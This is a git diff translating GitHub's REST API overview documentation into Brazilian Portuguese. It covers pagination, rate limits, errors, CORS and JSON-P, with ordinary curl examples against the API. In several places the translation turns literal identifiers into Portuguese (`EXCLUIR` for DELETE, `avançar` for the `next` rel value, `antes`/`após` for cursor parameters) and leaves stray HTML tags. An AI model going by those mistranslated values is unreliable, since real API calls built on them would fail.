-Many API methods take optional parameters. For `GET` requests, any parameters not
-specified as a segment in the path can be passed as an HTTP query string
-parameter:
+Muitos métodos de API tomam parâmetros opcionais. Para solicitações tipo `GET`, todos os parâmetros não especificados como um segmento no caminho podem ser passados como um parâmetro de string de consulta de HTTP:
 
 ```shell
 $ curl -i "{% data variables.product.api_url_pre %}/repos/vmg/redcarpet/issues?state=closed"
 ```
 
-In this example, the 'vmg' and 'redcarpet' values are provided for the `:owner`
-and `:repo` parameters in the path while `:state` is passed in the query
-string.
+Neste exemplo, os valores 'vmg' e 'redcarpet' são fornecidos para os parâmetros `:owner` e `:repo` no caminho enquanto `:state` é passado na string da consulta.
 
-For `POST`, `PATCH`, `PUT`, and `DELETE` requests, parameters not included in the URL should be encoded as JSON
-with a Content-Type of 'application/json':
+Para solicitações de `POST`, `PATCH`, `PUT`e `EXCLUIR`, os parâmetros não incluídos na URL devem ser codificados como JSON com um Content-Type de 'application/json':
 
 ```shell
 $ curl -i -u username -d '{"scopes":["repo_deployment"]}' {% data variables.product.api_url_pre %}/authorizations
 ```
 
-## Root endpoint
+## Ponto de extremidade raiz
 
-You can issue a `GET` request to the root endpoint to get all the endpoint categories that the REST API supports:
+Você pode emitir uma solicitação `GET` para o ponto de extremidade de raiz para obter todas as categorias do ponto de extremidade com a qual a API REST é compatível:
 
 ```shell
 $ curl {% ifversion fpt or ghae or ghec %}
 -u <em>username</em>:<em>token</em> {% endif %}{% ifversion ghes %}-u <em>username</em>:<em>password</em> {% endif %}{% data variables.product.api_url_pre %}
 ```
 
-## GraphQL global node IDs
+## IDs de nós globais do GraphQL
 
 See the guide on "[Using Global Node IDs]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/guides/using-global-node-ids)" for detailed information about how to find `node_id`s via the REST API and use them in GraphQL operations.
 
-## Client errors
+## Erros do cliente
 
-There are three possible types of client errors on API calls that
-receive request bodies:
+Há três tipos possíveis de erros de cliente na chamadas da API que recebem textos:
 
-1. Sending invalid JSON will result in a `400 Bad Request` response.
+1. O envio de um JSON inválido resultará em uma resposta </code>400 Bad Request`.</p>
 
-        HTTP/2 400
-        Content-Length: 35
+<pre><code> HTTP/2 400
+ Content-Length: 35
 
-        {"message":"Problems parsing JSON"}
+ {"message":"Problems parsing JSON"}
+`</pre></li>
 
-2. Sending the wrong type of JSON values will result in a `400 Bad
-   Request` response.
+2
 
-        HTTP/2 400
-        Content-Length: 40
+Enviar o tipo incorreto de valores do JSON resultará em uma resposta `400 Bad
+Request`.
+  
+       HTTP/2 400
+       Content-Length: 40
+      
+       {"message":"Body should be a JSON object"}
 
-        {"message":"Body should be a JSON object"}
+3
 
-3. Sending invalid fields will result in a `422 Unprocessable Entity`
-   response.
+O envio de campos inválidos resultará em uma resposta `422 Unprocessable Entity`.
+  
+       HTTP/2 422
+       Content-Length: 149
+      
+       {
+         "message": "Validation Failed",
+         "errors": [
+           {
+             "resource": "Issue",
+             "field": "title",
+             "code": "missing_field"
+           }
+         ]
+       }
+      </ol>
 
-        HTTP/2 422
-        Content-Length: 149
+Todos objetos de erro têm propriedades de recurso e campo para que seu cliente possa dizer qual é o problema.  Também há um código de erro para informar o que há de errado com o campo.  Estes são os possíveis códigos de validação:
 
-        {
-          "message": "Validation Failed",
-          "errors": [
-            {
-              "resource": "Issue",
-              "field": "title",
-              "code": "missing_field"
-            }
-          ]
-        }
+| Nome do código de erro | Descrição                                                                                                                                      |
+| ---------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- |
+| `missing`              | Um recurso não existe.                                                                                                                         |
+| `missing_field`        | Não foi definido um campo obrigatório em um recurso.                                                                                           |
+| `invalid`              | Formatação de um campo é inválida.  Revise a documentação para obter informações mais específicas.                                             |
+| `already_exists`       | Outro recurso tem o mesmo valor que este campo.  Isso pode acontecer em recursos que precisam ter alguma chave única (como nomes de etiqueta). |
+| `unprocessable`        | As entradas fornecidas eram inválidas.                                                                                                         |
 
-All error objects have resource and field properties so that your client
-can tell what the problem is.  There's also an error code to let you
-know what is wrong with the field.  These are the possible validation error
-codes:
+Os recursos também podem enviar erros de validação personalizados (em que o `código` é `personalizado`). Os erros personalizados sempre terão um campo de `mensagem` que descreve o erro e a maioria dos erros também incluirá um campo de `documentation_url` que aponta para algum conteúdo que pode ajudá-lo a resolver o erro.
 
-Error code name | Description
------------|-----------|
-`missing` | A resource does not exist.
-`missing_field` | A required field on a resource has not been set.
-`invalid` | The formatting of a field is invalid.  Review the documentation for more specific information.
-`already_exists` | Another resource has the same value as this field.  This can happen in resources that must have some unique key (such as label names).
-`unprocessable` | The inputs provided were invalid.
+## Redirecionamentos HTTP
 
-Resources may also send custom validation errors (where `code` is `custom`). Custom errors will always have a `message` field describing the error, and most errors will also include a `documentation_url` field pointing to some content that might help you resolve the error.
+API v3 usa redirecionamento HTTP quando apropriado. Os clientes devem assumir que qualquer solicitação pode resultar em redirecionamento. Receber um redirecionamento de HTTP *não* é um erro e os clientes devem seguir esse redirecionamento. As respostas de redirecionamento terão um campo do cabeçalho do tipo `Localização` que contém o URI do recurso ao qual o cliente deve repetir as solicitações.
 
-## HTTP redirects
+| Código de status | Descrição                                                                                                                                                                                                                                   |
+| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `301`            | Redirecionamento permanente. O URI que você usou para fazer a solicitação foi substituído pelo especificado no campo do cabeçalho `Localização`. Este e todas as solicitações futuras deste recurso devem ser direcionadas para o novo URI. |
+| `302`, `307`     | Redirecionamento temporário. A solicitação deve ser repetida literalmente para o URI especificado no campo de cabeçalho `Localização`, mas os clientes devem continuar a usar o URI original para solicitações futuras.                     |
 
-API v3 uses HTTP redirection where appropriate. Clients should assume that any
-request may result in a redirection. Receiving an HTTP redirection is *not* an
-error and clients should follow that redirect. Redirect responses will have a
-`Location` header field which contains the URI of the resource to which the
-client should repeat the requests.
+Outros códigos de status de redirecionamento podem ser usados de acordo com a especificação HTTP 1.1.
 
-Status Code | Description
------------|-----------|
-`301` | Permanent redirection. The URI you used to make the request has been superseded by the one specified in the `Location` header field. This and all future requests to this resource should be directed to the new URI.
-`302`, `307` | Temporary redirection. The request should be repeated verbatim to the URI specified in the `Location` header field but clients should continue to use the original URI for future requests.
+## Verbos HTTP
 
-Other redirection status codes may be used in accordance with the HTTP 1.1 spec.
+Quando possível, a API v3 se esforça para usar verbos HTTP apropriados para cada ação.
 
-## HTTP verbs
+| Verbo    | Descrição                                                                                                                                                                                                                        |
+| -------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `HEAD`   | Pode ser emitido contra qualquer recurso para obter apenas as informações de cabeçalho HTTP.                                                                                                                                     |
+| `GET`    | Usado para recuperar recursos.                                                                                                                                                                                                   |
+| `POST`   | Usado para criar recursos.                                                                                                                                                                                                       |
+| `PATCH`  | Usado para atualizar recursos com dados parciais do JSON. Por exemplo, um recurso de um problema tem atributos de `título` e `texto`. Uma solicitação de `PATCH` pode aceitar um ou mais dos atributos para atualizar o recurso. |
+| `PUT`    | Usado para substituir recursos ou coleções. Para as solicitações de `PUT` sem atributo de `texto`, certifique-se de definir o cabeçalho `Content-Length` como zero.                                                              |
+| `DELETE` | Usado para excluir recursos.                                                                                                                                                                                                     |
 
-Where possible, API v3 strives to use appropriate HTTP verbs for each
-action.
+## Hipermídia
 
-Verb | Description
------|-----------
-`HEAD` | Can be issued against any resource to get just the HTTP header info.
-`GET` | Used for retrieving resources.
-`POST` | Used for creating resources.
-`PATCH` | Used for updating resources with partial JSON data. For instance, an Issue resource has `title` and `body` attributes. A `PATCH` request may accept one or more of the attributes to update the resource.
-`PUT` | Used for replacing resources or collections. For `PUT` requests with no `body` attribute, be sure to set the `Content-Length` header to zero.
-`DELETE` |Used for deleting resources.
+Todos os recursos podem ter uma ou mais propriedades `*_url` vinculando outros recursos.  Estes tem o objetivo de fornecer URLs explícitas para que os clientes API apropriados não precisem construir URLs por conta própria.  É altamente recomendável que os clientes da API os utilizem.  Fazer isso tornará as futuras atualizações da API mais fáceis para os desenvolvedores.  Espera-se que todas as URLs sejam modelos de URI [RFC 6570][rfc] adequados.
 
-## Hypermedia
-
-All resources may have one or more `*_url` properties linking to other
-resources.  These are meant to provide explicit URLs so that proper API clients
-don't need to construct URLs on their own.  It is highly recommended that API
-clients use these.  Doing so will make future upgrades of the API easier for
-developers.  All URLs are expected to be proper [RFC 6570][rfc] URI templates.
-
-You can then expand these templates using something like the [uri_template][uri]
-gem:
+Então você pode expandir estes modelos usando algo como o [uri_template][uri] gem:
 
     >> tmpl = URITemplate.new('/notifications{?since,all,participating}')
     >> tmpl.expand
     => "/notifications"
-
+    
     >> tmpl.expand :all => 1
     => "/notifications?all=1"
-
+    
     >> tmpl.expand :all => 1, :participating => 1
     => "/notifications?all=1&participating=1"
 
-[rfc]: https://datatracker.ietf.org/doc/html/rfc6570
-[uri]: https://github.com/hannesg/uri_template
+## Paginação
 
-## Pagination
-
-Requests that return multiple items will be paginated to 30 items by
-default.  You can specify further pages with the `page` parameter. For some
-resources, you can also set a custom page size up to 100 with the `per_page` parameter.
-Note that for technical reasons not all endpoints respect the `per_page` parameter,
-see [events](/rest/reference/activity#events) for example.
+Pedidos que retornam vários itens serão paginados para 30 itens por padrão.  Você pode especificar mais páginas com o parâmetro `page`. Para alguns recursos, você também pode definir um tamanho de página até 100 com o parâmetro `per_page`. Observe que, por razões técnicas, nem todos os pontos de extremidade respeitam o parâmetro `per_page`, veja [eventos](/rest/reference/activity#events) por exemplo.
 
 ```shell
 $ curl '{% data variables.product.api_url_pre %}/user/repos?page=2&per_page=100'
 ```
 
-Note that page numbering is 1-based and that omitting the `page`
-parameter will return the first page.
+Observe que a numeração da página é baseada em 1 e que, ao omitir o parâmetro `page`, retornará a primeira página.
 
-Some endpoints use cursor-based pagination. A cursor is a string that points to a location in the result set.
-With cursor-based pagination, there is no fixed concept of "pages" in the result set, so you can't navigate to a specific page.
-Instead, you can traverse the results by using the `before` or `after` parameters.
+Alguns pontos de extremidade usam paginação baseada no cursor. Um cursor é uma string que aponta para uma localização no conjunto de resultados. Com paginação baseada em cursor, não há um conceito fixo de "páginas" no conjunto de resultados. Portanto, você não pode navegar para uma página específica. Em vez disso, você pode percorrer os resultados usando os parâmetros `antes` ou `após`.
 
-For more information on pagination, check out our guide on [Traversing with Pagination][pagination-guide].
+Para obter mais informações sobre paginação, confira nosso guia sobre [Passar com paginação][pagination-guide].
 
-### Link header
+### Cabeçalho do link
 
 {% note %}
 
-**Note:** It's important to form calls with Link header values instead of constructing your own URLs.
+**Observação:** É importante formar chamadas com valores de cabeçalho de link, em vez de construir suas próprias URLs.
 
 {% endnote %}
 
-The [Link header](https://datatracker.ietf.org/doc/html/rfc5988) includes pagination information. For example:
+O [cabeçalho do link](https://datatracker.ietf.org/doc/html/rfc5988) inclui informações de paginação. Por exemplo:
 
     Link: <{% data variables.product.api_url_code %}/user/repos?page=3&per_page=100>; rel="next",
       <{% data variables.product.api_url_code %}/user/repos?page=50&per_page=100>; rel="last"
 
-_The example includes a line break for readability._
+_O exemplo inclui uma quebra de linha para legibilidade._
 
-Or, if the endpoint uses cursor-based pagination:
+Ou, se o ponto de extremidade usar paginação baseada em cursor:
 
     Link: <{% data variables.product.api_url_code %}/orgs/ORG/audit-log?after=MTYwMTkxOTU5NjQxM3xZbGI4VE5EZ1dvZTlla09uWjhoZFpR&before=>; rel="next",
 
-This `Link` response header contains one or more [Hypermedia](/rest#hypermedia) link relations, some of which may require expansion as [URI templates](https://datatracker.ietf.org/doc/html/rfc6570).
+Este `Link` de resposta contém um ou mais links de relações de [hipermídia](/rest#hypermedia), alguns dos quais podem exigir expansão como [modelos de URI](https://datatracker.ietf.org/doc/html/rfc6570).
 
-The possible `rel` values are:
+Os valores de `rel` possíveis são:
 
-Name | Description
------------|-----------|
-`next` |The link relation for the immediate next page of results.
-`last` |The link relation for the last page of results.
-`first` |The link relation for the first page of results.
-`prev` |The link relation for the immediate previous page of results.
+| Nome      | Descrição                                                        |
+| --------- | ---------------------------------------------------------------- |
+| `avançar` | A relação de link para a próxima página de resultados.           |
+| `last`    | A relação de link para a última página de resultados.            |
+| `first`   | A relação de link para a primeira página de resultados.          |
+| `prev`    | A relação de link para a página de resultados anterior imediata. |
 
-## Rate limiting
+## Limite de taxa
 
-For API requests using Basic Authentication or OAuth, you can make up to 5,000 requests per hour. Authenticated requests are associated with the authenticated user, regardless of whether [Basic Authentication](#basic-authentication) or [an OAuth token](#oauth2-token-sent-in-a-header) was used. This means that all OAuth applications authorized by a user share the same quota of 5,000 requests per hour when they authenticate with different tokens owned by the same user.
+Para solicitações de API que usam a Autenticação Básica ou OAuth, você pode criar até 5.000 solicitações por hora. As solicitações de autenticação são associadas ao usuário autenticado, independentemente de [Autenticação Básica](#basic-authentication) ou [um token do OAuth](#oauth2-token-sent-in-a-header) ter sido usado. Isto significa que todos os aplicativos OAuth autorizados por um usuário compartilham a mesma cota de 5.000 solicitações por hora quando eles são autenticados com diferentes tokens pertencentes ao mesmo usuário.
 
 {% ifversion fpt or ghec %}
 
-For users that belong to a {% data variables.product.prodname_ghe_cloud %} account, requests made using an OAuth token to resources owned by the same {% data variables.product.prodname_ghe_cloud %} account have an increased limit of 15,000 requests per hour.
+Para usuários que pertencem a uma conta {% data variables.product.prodname_ghe_cloud %}, solicitações feitas usando um token OAuth para recursos pertencentes à mesma conta de {% data variables.product.prodname_ghe_cloud %} têm um aumento de 15.000 solicitações por hora no limite.
 
 {% endif %}
 
-When using the built-in `GITHUB_TOKEN` in GitHub Actions, the rate limit is 1,000 requests per hour per repository. For organizations that belong to a GitHub Enterprise Cloud account, this limit is 15,000 requests per hour per repository.
+Ao usar o `GITHUB_TOKEN` embutido no GitHub Actions, o limite de taxa será de 1.000 solicitações por hora por repositório. Para organizações que pertencem a uma conta no GitHub Enterprise Cloud, este limite é de 15.000 solicitações por hora por repositório.
 
-For unauthenticated requests, the rate limit allows for up to 60 requests per hour. Unauthenticated requests are associated with the originating IP address, and not the user making requests.
+Para solicitações não autenticadas, o limite de taxa permite até 60 solicitações por hora. Solicitações não autenticadas estão associadas ao endereço IP original, e não ao usuário que faz solicitações.
 
 {% data reusables.enterprise.rate_limit %}
 
-Note that [the Search API has custom rate limit rules](/rest/reference/search#rate-limit).
+Observe que [a API de pesquisa tem regras de limite de taxa personalizadas](/rest/reference/search#rate-limit).
 
-The returned HTTP headers of any API request show your current rate limit status:
+Os cabeçalhos HTTP retornados de qualquer solicitação de API mostram o seu status atual de limite de taxa:
 
 ```shell
 $ curl -I {% data variables.product.api_url_pre %}/users/octocat
@@ -383,20 +344,20 @@ $ curl -I {% data variables.product.api_url_pre %}/users/octocat
 > X-RateLimit-Reset: 1372700873
 ```
 
-Header Name | Description
------------|-----------|
-`X-RateLimit-Limit` | The maximum number of requests you're permitted to make per hour.
-`X-RateLimit-Remaining` | The number of requests remaining in the current rate limit window.
-`X-RateLimit-Reset` | The time at which the current rate limit window resets in [UTC epoch seconds](http://en.wikipedia.org/wiki/Unix_time).
+| Nome do Cabeçalho       | Descrição                                                                                                                                         |
+| ----------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `X-RateLimit-Limit`     | O número máximo de solicitações que você pode fazer por hora.                                                                                     |
+| `X-RateLimit-Remaining` | O número de solicitações restantes na janela de limite de taxa atual.                                                                             |
+| `X-RateLimit-Reset`     | O tempo em que a janela de limite de taxa atual é redefinida em [segundos no tempo de computação de UTC](http://en.wikipedia.org/wiki/Unix_time). |
 
-If you need the time in a different format, any modern programming language can get the job done. For example, if you open up the console on your web browser, you can easily get the reset time as a JavaScript Date object.
+Se você precisar de outro formato de tempo, qualquer linguagem de programação moderna pode fazer o trabalho. Por exemplo, se você abrir o console em seu navegador, você pode facilmente obter o tempo de redefinição como um objeto de tempo do JavaScript.
 
 ``` javascript
 new Date(1372700873 * 1000)
 // => Mon Jul 01 2013 13:47:53 GMT-0400 (EDT)
 ```
 
-If you exceed the rate limit, an error response returns:
+Se você exceder o limite de taxa, uma resposta do erro retorna:
 
 ```shell
 > HTTP/2 403
@@ -411,11 +372,11 @@ If you exceed the rate limit, an error response returns:
 > }
 ```
 
-You can [check your rate limit status](/rest/reference/rate-limit) without incurring an API hit.
+Você pode [verificar o status do seu limite de taxa](/rest/reference/rate-limit) sem a incorrer em uma consulta da API.
 
-### Increasing the unauthenticated rate limit for OAuth applications
+### Aumentar o limite de taxa não autenticado para aplicativos OAuth
 
-If your OAuth application needs to make unauthenticated calls with a higher rate limit, you can pass your app's client ID and secret before the endpoint route.
+Se o seu aplicativo OAuth precisar fazer chamadas não autenticadas com um limite de taxa mais alto, você poderá passar o ID e o segredo do cliente do seu aplicativo antes do encaminhamento de pontos de extremidade.
 
 ```shell
 $ curl -u my_client_id:my_client_secret {% data variables.product.api_url_pre %}/user/repos
@@ -428,21 +389,21 @@ $ curl -u my_client_id:my_client_secret {% data variables.product.api_url_pre %}
 
 {% note %}
 
-**Note:** Never share your client secret with anyone or include it in client-side browser code. Use the method shown here only for server-to-server calls.
+**Observação:** Nunca compartilhe seu segredo de cliente com alguém ou o inclua no código do navegador do lado do cliente. Use o método mostrado aqui apenas para chamadas de servidor para servidor.
 
 {% endnote %}
 
-### Staying within the rate limit
+### Manter-se dentro do limite de taxa
 
-If you exceed your rate limit using Basic Authentication or OAuth, you can likely fix the issue by caching API responses and using [conditional requests](#conditional-requests).
+Se você exceder seu limite de taxa usando a Autenticação Básica ou OAuth, você poderá corrigir o problema armazenando respostas da API e usando [solicitações condicionais](#conditional-requests).
 
-### Secondary rate limits
+### Limites de taxa secundária
 
-In order to provide quality service on {% data variables.product.product_name %}, additional rate limits may apply to some actions when using the API. For example, using the API to rapidly create content, poll aggressively instead of using webhooks, make multiple concurrent requests, or repeatedly request data that is computationally expensive may result in secondary rate limiting.
+A fim de fornecer serviço de qualidade no {% data variables.product.product_name %}, podem-se aplicar limites de taxa adicionais podem a algumas ações ao usar a API. Por exemplo, usar a API para criar rapidamente conteúdo, fazer sondagem de modo agressivo em vez de usar webhooks, fazer várias solicitações simultâneas ou solicitar repetidamente dados caros do ponto de vista computacional podem resultar na limitação da taxa secundária.
 
-Secondary rate limits are not intended to interfere with legitimate use of the API. Your normal rate limits should be the only limit you target. To ensure you're acting as a good API citizen, check out our [Best Practices guidelines](/guides/best-practices-for-integrators/).
+Limites de taxa secundária não pretendem interferir com o uso legítimo da API. Seus limites de taxa normais devem ser o único limite em que você deve focar. Para garantir que você está agindo como um bom cidadão da API, confira nossas [Diretrizes sobre práticas recomendadas](/guides/best-practices-for-integrators/).
 
-If your application triggers this rate limit, you'll receive an informative response:
+Se seu aplicativo acionar este limite de taxa, você receberá uma resposta informativa:
 
 ```shell
 > HTTP/2 403
@@ -457,19 +418,17 @@ If your application triggers this rate limit, you'll receive an informative resp
 
 {% ifversion fpt or ghec %}
 
-## User agent required
+## Agente de usuário obrigatório
 
-All API requests MUST include a valid `User-Agent` header. Requests with no `User-Agent`
-header will be rejected. We request that you use your {% data variables.product.product_name %} username, or the name of your
-application, for the `User-Agent` header value. This allows us to contact you if there are problems.
+Todas as solicitações da API DEVEM incluir um cabeçalho válido de `User-Agent`. As requisições sem o cabeçalho do `User-Agent` serão rejeitadas. Pedimos que use seu nome de usuário de {% data variables.product.product_name %} ou o nome de seu aplicativo, para o valor do cabeçalho `User-Agent`. Isso nos permite entrar em contato com você, em caso de problemas.
 
-Here's an example:
+Aqui está um exemplo:
 
 ```shell
 User-Agent: Awesome-Octocat-App
 ```
 
-cURL sends a valid `User-Agent` header by default. If you provide an invalid `User-Agent` header via cURL (or via an alternative client), you will receive a `403 Forbidden` response:
+A cURL envia um cabeçalho válido do `User-Agent` por padrão. Se você fornecer um cabeçalho inválido de `User-Agent` via cURL (ou via um cliente alternativo), você receberá uma resposta `403 Forbidden`:
 
 ```shell
 $ curl -IH 'User-Agent: ' {% data variables.product.api_url_pre %}/meta
@@ -484,20 +443,15 @@ $ curl -IH 'User-Agent: ' {% data variables.product.api_url_pre %}/meta
 
 {% endif %}
 
-## Conditional requests
+## Solicitações condicionais
 
-Most responses return an `ETag` header. Many responses also return a `Last-Modified` header. You can use the values
-of these headers to make subsequent requests to those resources using the
-`If-None-Match` and `If-Modified-Since` headers, respectively. If the resource
-has not changed, the server will return a `304 Not Modified`.
+A maioria das respostas retorna um cabeçalho de </code>Etag`. Muitas respostas também retornam um cabeçalho <code>Last-Modified`. Você pode usar os valores desses cabeçalhos para fazer solicitações subsequentes para esses recursos usando os cabeçalhos `If-None-Match` e `If-Modified-Desde`, respectivamente. Se o recurso não foi alterado, o servidor retornará `304 não modificado`.
 
 {% ifversion fpt or ghec %}
 
 {% tip %}
 
-**Note**: Making a conditional request and receiving a 304 response does not
-count against your [Rate Limit](#rate-limiting), so we encourage you to use it
-whenever possible.
+**Observação**: Fazer uma solicitação condicional e receber uma resposta 304 não conta para o seu [Limite de Taxa](#rate-limiting). Portanto, recomendamos que você o utilize sempre que possível.
 
 {% endtip %}
 
@@ -534,16 +488,11 @@ $ curl -I {% data variables.product.api_url_pre %}/user -H "If-Modified-Since: T
 > X-RateLimit-Reset: 1372700873
 ```
 
-## Cross origin resource sharing
+## Compartilhamento de recursos de origem cruzada
 
-The API supports Cross Origin Resource Sharing (CORS) for AJAX requests from
-any origin.
-You can read the [CORS W3C Recommendation](http://www.w3.org/TR/cors/), or
-[this intro](https://code.google.com/archive/p/html5security/wikis/CrossOriginRequestSecurity.wiki) from the
-HTML 5 Security Guide.
+A API é compatível com Compartilhamento de Recursos de Origens Cruzadas (CORS) para solicitações de AJAX de qualquer origem. You can read the [CORS W3C Recommendation](http://www.w3.org/TR/cors/), or [this intro](https://code.google.com/archive/p/html5security/wikis/CrossOriginRequestSecurity.wiki) from the HTML 5 Security Guide.
 
-Here's a sample request sent from a browser hitting
-`http://example.com`:
+Aqui está uma solicitação de exemplo enviada a partir de uma consulta em `http://exemplo.com`:
 
 ```shell
 $ curl -I {% data variables.product.api_url_pre %} -H "Origin: http://example.com"
@@ -552,7 +501,7 @@ Access-Control-Allow-Origin: *
 Access-Control-Expose-Headers: ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval
 ```
 
-This is what the CORS preflight request looks like:
+A solicitação pré-voo de CORS se parece com isso:
 
 ```shell
 $ curl -I {% data variables.product.api_url_pre %} -H "Origin: http://example.com" -X OPTIONS
@@ -564,13 +513,9 @@ Access-Control-Expose-Headers: ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-Ra
 Access-Control-Max-Age: 86400
 ```
 
-## JSON-P callbacks
+## Chamadas de retorno do JSON-P
 
-You can send a `?callback` parameter to any GET call to have the results
-wrapped in a JSON function.  This is typically used when browsers want
-to embed {% data variables.product.product_name %} content in web pages by getting around cross domain
-issues.  The response includes the same data output as the regular API,
-plus the relevant HTTP Header information.
+Você pode enviar um parâmetro `?callback` para qualquer chamada de GET para envolver os resultados em uma função JSON.  Isso é normalmente usado quando os navegadores querem que incorporem {% data variables.product.product_name %} conteúdo em páginas da web, contornando problemas de de domínio cruzado.  A resposta inclui a mesma saída de dados da API regular, mais as informações relevantes do cabeçalho de HTTP.
 
 ```shell
 $ curl {% data variables.product.api_url_pre %}?callback=foo
@@ -591,7 +536,7 @@ $ curl {% data variables.product.api_url_pre %}?callback=foo
 > })
 ```
 
-You can write a JavaScript handler to process the callback. Here's a minimal example you can try out:
+Você pode escrever um manipulador do JavaScript para processar o retorno de chamada. Aqui está um exemplo pequeno que você pode experimentar:
 
     <html>
     <head>
@@ -602,28 +547,26 @@ You can write a JavaScript handler to process the callback. Here's a minimal exa
       console.log(meta);
       console.log(data);
     }
-
+    
     var script = document.createElement('script');
     script.src = '{% data variables.product.api_url_code %}?callback=foo';
-
+    
     document.getElementsByTagName('head')[0].appendChild(script);
     </script>
     </head>
-
+    
     <body>
       <p>Open up your browser's console.</p>
     </body>
     </html>
 
-All of the headers are the same String value as the HTTP Headers with one
-notable exception: Link.  Link headers are pre-parsed for you and come
-through as an array of `[url, options]` tuples.
+Todos os cabeçalhos têm o mesmo valor d a string que os cabeçalhos de HTTP com uma exceção notável: Link.  Cabeçalhos de link são pré-analisados para você e chegam como um array de tuplas de `[url, options]`.
 
-A link that looks like this:
+Um link que se parece com isto:
 
     Link: <url1>; rel="next", <url2>; rel="foo"; bar="baz"
 
-... will look like this in the Callback output:
+... será mostrado assim na saída da chamada de retorno:
 
 ```json
 {
@@ -645,39 +588,42 @@ A link that looks like this:
 }
 ```
 
-## Timezones
+## Fusos horários
 
-Some requests that create new data, such as creating a new commit, allow you to provide time zone information when specifying or generating timestamps. We apply the following rules, in order of priority, to determine timezone information for such API calls.
+Algumas solicitações que criam novos dados, como a criação de um novo commit, permitem que você forneça informações do fuso horário ao especificar ou marcas de tempo. We apply the following rules, in order of priority, to determine timezone information for such API calls.
 
-* [Explicitly providing an ISO 8601 timestamp with timezone information](#explicitly-providing-an-iso-8601-timestamp-with-timezone-information)
-* [Using the `Time-Zone` header](#using-the-time-zone-header)
-* [Using the last known timezone for the user](#using-the-last-known-timezone-for-the-user)
-* [Defaulting to UTC without other timezone information](#defaulting-to-utc-without-other-timezone-information)
+* [Fornecer explicitamente uma marca de tempo ISO 8601 com informações de fuso horário](#explicitly-providing-an-iso-8601-timestamp-with-timezone-information)
+* [Usar o cabeçalho `Time-Zone`](#using-the-time-zone-header)
+* [Usar o último fuso horário conhecido para o usuário](#using-the-last-known-timezone-for-the-user)
+* [Definir como padrão UTC sem outras informações de fuso horário](#defaulting-to-utc-without-other-timezone-information)
 
 Note that these rules apply only to data passed to the API, not to data returned by the API. As mentioned in "[Schema](#schema)," timestamps returned by the API are in UTC time, ISO 8601 format.
 
-### Explicitly providing an ISO 8601 timestamp with timezone information
+### Fornecer explicitamente uma marca de tempo ISO 8601 com informações de fuso horário
 
-For API calls that allow for a timestamp to be specified, we use that exact timestamp. An example of this is the [Commits API](/rest/reference/git#commits).
+Para chamadas de API que permitem que uma marca de tempo seja especificada, usamos essa marca de tempo exata. Um exemplo disso é a [API de Commits](/rest/reference/git#commits).
 
-These timestamps look something like `2014-02-27T15:05:06+01:00`. Also see [this example](/rest/reference/git#example-input) for how these timestamps can be specified.
+Essas marcas de tempo se parecem com `2014-02-27T15:05:06+01:00`. Veja também [este exemplo](/rest/reference/git#example-input) para saber como essas marcas de tempo podem ser especificadas.
 
-### Using the `Time-Zone` header
+### Usar o cabeçalho `Time-Zone`
 
-It is possible to supply a `Time-Zone` header which defines a timezone according to the [list of names from the Olson database](https://en.wikipedia.org/wiki/List_of_tz_database_time_zones).
+É possível fornecer um cabeçalho `Time-Zone` que define um fuso horário de acordo com a lista [ de nomes do banco de dados Olson](https://en.wikipedia.org/wiki/List_of_tz_database_time_zones).
 
 ```shell
 $ curl -H "Time-Zone: Europe/Amsterdam" -X POST {% data variables.product.api_url_pre %}/repos/github/linguist/contents/new_file.md
 ```
 
-This means that we generate a timestamp for the moment your API call is made in the timezone this header defines. For example, the [Contents API](/rest/reference/repos#contents) generates a git commit for each addition or change and uses the current time as the timestamp. This header will determine the timezone used for generating that current timestamp.
+Isso significa que geramos uma marca de tempo no momento em que sua chamada de API é feita no fuso horário que este cabeçalho define. Por exemplo, o [API de Conteúdo](/rest/reference/repos#contents) gera um commit do git para cada adição ou alteração e usa a hora atual como marca de tempo. Este cabeçalho determinará o fuso horário usado para gerar essa marca de tempo atual.
 
-### Using the last known timezone for the user
+### Usar o último fuso horário conhecido para o usuário
 
-If no `Time-Zone` header is specified and you make an authenticated call to the API, we use the last known timezone for the authenticated user. The last known timezone is updated whenever you browse the {% data variables.product.product_name %} website.
+Se nenhum cabeçalho `Time-Zone` for especificado e você fizer uma chamada autenticada para a API, nós usaremos o último fuso horário conhecido para o usuário autenticado. O último fuso horário conhecido é atualizado sempre que você navegar no site de {% data variables.product.product_name %}.
 
-### Defaulting to UTC without other timezone information
+### Definir como padrão UTC sem outras informações de fuso horário
 
-If the steps above don't result in any information, we use UTC as the timezone to create the git commit.
+Se as etapas acima não resultarem em nenhuma informação, usaremos UTC como o fuso horário para criar o commit do git.
+
+[rfc]: https://datatracker.ietf.org/doc/html/rfc6570
+[uri]: https://github.com/hannesg/uri_template
 
 [pagination-guide]: /guides/traversing-with-pagination
diff --git a/translations/pt-BR/content/rest/reference/actions.md b/translations/pt-BR/content/rest/reference/actions.md
index f00f66a23b..408bd415fb 100644
--- a/translations/pt-BR/content/rest/reference/actions.md
+++ b/translations/pt-BR/content/rest/reference/actions.md
@@ -1,5 +1,5 @@
 ---
-title: Actions
+title: Ações
 intro: 'With the Actions API, you can manage and control {% data variables.product.prodname_actions %} for an organization or repository.'
 redirect_from:
   - /v3/actions
@@ -14,15 +14,15 @@ miniTocMaxHeadingLevel: 3
 ---
 
 
-The {% data variables.product.prodname_actions %} API enables you to manage {% data variables.product.prodname_actions %} using the REST API. {% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} require the permissions mentioned in each endpoint. For more information, see "[{% data variables.product.prodname_actions %} Documentation](/actions)."
+A API de {% data variables.product.prodname_actions %} permite que você gerencie {% data variables.product.prodname_actions %} usando a API REST. {% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} exige permissões mencionadas em cada ponto de extremidade. Para obter mais informações, consulte "[Documentação do {% data variables.product.prodname_actions %}](/actions)".
 
 {% for operation in currentRestOperations %}
   {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
-## Artifacts
+## Artefatos
 
